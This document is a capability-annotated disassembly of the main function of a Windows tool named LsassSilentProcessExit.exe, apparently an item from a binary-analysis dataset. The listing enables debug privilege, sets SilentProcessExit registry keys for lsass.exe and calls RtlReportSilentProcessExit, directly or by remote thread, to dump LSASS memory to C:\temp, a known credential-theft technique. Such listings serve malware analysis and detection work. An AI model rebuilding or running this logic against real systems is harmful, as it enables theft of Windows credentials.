Function at 0x1400011e0
Capabilities:
Acquire debug privileges
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rdi, rdx
cmp ecx, 2
jge 0x14000121d
lea rdx, str.Usage:_LsassSilentProcessExit.exe__LSASS_PID___DUMP_MODE__n_tDUMP_MODE:_n_t_t0___Call_RtlSilentProcessExit_on_LSASS_process_handle_n_t_t1___Call_CreateRemoteThread_on_RtlSilentProcessExit_on_LSASS_n
jmp 0x1400014c7
mov rcx, qword [rdx + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 1
jbe 0x140001241
lea rdx, str.Usage:_LsassSilentProcessExit.exe__LSASS_PID___DUMP_MODE__n_tDUMP_MODE:_n_t_t0___Call_RtlSilentProcessExit_on_LSASS_process_handle_n_t_t1___Call_CreateRemoteThread_on_RtlSilentProcessExit_on_LSASS_n
jmp 0x1400014ce
lea rdx, str.Setting_up_debug_privilege..._n
call fcn.1400015e0
xor ebp, ebp
mov qword [rsp + 0x40], rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x40]
lea edx, [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400014c0
lea r8, [rsp + 0x48]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400014c0
mov dword [rsp + 0x50], 1
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x54], rax
mov dword [rsp + 0x5c], 2
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
lea r9d, [rbp + 0x10]
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400014c0
lea rdx, str.Setting_up_GFlags__SilentProcessExit_settings_in_registry..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400015e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 9
mov qword [rsp + 0x68], 0xf
movsd xmm0, qword [str.lsass.exe]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x140003598]
mov byte [rsp + 0x58], al
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400017b0
nop
cmp dword [rsp + 0x70], ebp
jne 0x140001358
lea rdx, str.ERROR:_Could_not_set_registry_values__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400015e0
lea rdi, [rbp - 1]
jmp 0x1400014a3
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlReportSilentProcessExit
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov rcx, qword [rdi + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, 0x43a
mov edx, 0x1010
test ebx, ebx
cmove ecx, edx
mov r8d, eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
cmp rax, 0xffffffffffffffff
jne 0x1400013e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.ERROR_OpenProcess___failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400015e0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400035fc]
call fcn.1400015e0
mov rdi, 0xffffffffffffffff
jmp 0x1400014a3
mov rcx, rax
test ebx, ebx
jne 0x140001420
xor edx, edx
call rsi
mov ebx, eax
lea rdx, str.RtlReportSilentProcessExit___NTSTATUS:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400015e0
mov rcx, rax
lea rdx, [0x1400011c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
jmp 0x140001492
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x20], rdi
mov r9, rsi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14000147f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.ERROR_CreateRemoteThread___failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400015e0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400035fc]
call fcn.1400015e0
jmp 0x1400014a3
lea rdx, str.DONE__Check_out_the_dump_folder__C:_temp_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400015e0
lea rdx, [0x1400035fc]
mov rcx, rax
call fcn.1400015e0
mov edi, ebp
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x1400014da
lea rdx, str.ERROR:_Failed_to_enable_debug_privilege__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400015e0
mov rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140001e70
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret